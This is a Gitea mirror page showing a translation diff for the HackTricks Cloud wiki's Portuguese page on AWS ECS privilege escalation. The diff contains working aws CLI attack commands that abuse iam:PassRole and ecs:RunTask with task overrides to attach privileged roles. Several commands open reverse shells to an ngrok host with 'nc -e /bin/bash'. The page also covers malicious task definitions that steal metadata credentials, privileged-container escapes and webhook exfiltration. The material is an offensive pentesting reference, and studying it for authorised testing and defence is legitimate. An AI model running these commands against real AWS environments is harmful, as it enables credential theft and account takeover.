gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-05 03:16:37 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-08-31 08:12:53 +00:00
parent 0f42ac10be
commit 8fa97e31a8
14 changed files with 78 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files

108
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@ Mais **informações sobre ECS** em:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
Um atacante que abusa das permissões `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Crie um webhook com um site como webhook.site
Crie um webhook em um site como webhook.site
```bash
# Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Impacto Potencial:** Privesc direto para um papel ECS diferente.
**Potential Impact:** Direct privesc to a different ECS role.
### `iam:PassRole`,`ecs:RunTask`
Um atacante que possui permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir serem assumidas por `ecs-tasks.amazonaws.com` em sua trust policy.
Além disso, o atacante precisa saber:
- ECS cluster name
- VPC Subnet
- Security group (Se nenhum security group for especificado o padrão será usado)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
No trecho de código acima, um atacante sobrescreve apenas o valor `taskRoleArn`. No entanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque ocorra.
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Impacto Potencial:** Direct privesc to any ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.\
No entanto, neste caso, uma instância de container para executar a definição de tarefa maliciosa precisa estar.
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.\
No entanto, nesse caso, é necessário uma container instance para executar a task definition maliciosa.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impacto Potencial:** Privesc direto para qualquer função ECS.
**Impacto Potencial:** privesc direto para qualquer role do ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo criando um novo serviço com pelo menos 1 tarefa em execução.**
Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Impacto Potencial:** Privesc direto para qualquer função ECS.
**Impacto Potencial:** privesc direto para qualquer ECS role.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Na verdade, apenas com essas permissões é possível usar substituições para executar comandos arbitrários em um contêiner com uma função arbitrária com algo como:
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -135,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impacto Potencial:** Privesc direto para qualquer função ECS.
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Este cenário é como os anteriores, mas **sem** a permissão **`iam:PassRole`**.\
Isso ainda é interessante porque, se você puder executar um contêiner arbitrário, mesmo que sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções dos contêineres ECS** em execução no nó.\
Você poderia até **forçar outras tarefas a serem executadas dentro da instância EC2** que você comprometeu para roubar suas credenciais (como discutido na [**seção Privesc para nó**](aws-ecs-privesc.md#privesc-to-node)).
Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\
Isso continua interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e as **outras roles dos containers ECS** que estão rodando no node.\
Você poderia até **forçar outras tasks a rodarem dentro da instância EC2** que você comprometer para roubar as credenciais delas (conforme discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Este ataque só é possível se o **cluster ECS estiver usando instâncias EC2** e não Fargate.
> Este ataque só é possível se o **ECS cluster estiver usando EC2** instâncias e não Fargate.
```bash
printf '[
{
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Um atacante com o **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\
No entanto, para fazer isso, a instância do contêiner precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque são necessárias para executar `aws ecs execute-command`).\
No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
Portanto, o atacante pode tentar:
- **Tentar executar um comando** em todos os contêineres em execução
- **Tentar executar um comando** em todos os containers em execução
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Se ele tem **`ecs:RunTask`**, execute uma tarefa com `aws ecs run-task --enable-execute-command [...]`
- Se ele tem **`ecs:StartTask`**, execute uma tarefa com `aws ecs start-task --enable-execute-command [...]`
- Se ele tem **`ecs:CreateService`**, crie um serviço com `aws ecs create-service --enable-execute-command [...]`
- Se ele tem **`ecs:UpdateService`**, atualize um serviço com `aws ecs update-service --enable-execute-command [...]`
- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]`
- Se ele tiver **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]`
- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de privesc do ECS**.
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
**Impacto Potencial:** Privesc para um papel diferente anexado a contêineres.
**Potential Impact:** Privesc to a different role attached to contêineres.
### `ssm:StartSession`
Verifique na **página de privesc do ssm** como você pode abusar dessa permissão para **privesc para ECS**:
Consulte a **ssm privesc page** para ver como você pode abusar dessa permissão para **privesc para ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Verifique na **página de privesc do ec2** como você pode abusar dessas permissões para **privesc para ECS**:
Consulte a **ec2 privesc page** para ver como você pode abusar dessas permissões para **privesc para ECS**:
{{#ref}}
aws-ec2-privesc.md
{{#endref}}
### `?ecs:RegisterContainerInstance`
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
TODO: É possível registrar uma instância de uma conta AWS diferente para que as tarefas sejam executadas em máquinas controladas pelo atacante??
Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário dentro do contexto das tasks do ECS.
- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Testar isso
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` pode **criar um conjunto de tarefas malicioso para um serviço ECS existente e atualizar o conjunto de tarefas primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o task set primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
```bash
bashCopy code# Register a task definition with a reverse shell
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
**Impacto potencial**: Executar código arbitrário no serviço afetado, potencialmente afetando sua funcionalidade ou exfiltrando dados sensíveis.
## Referências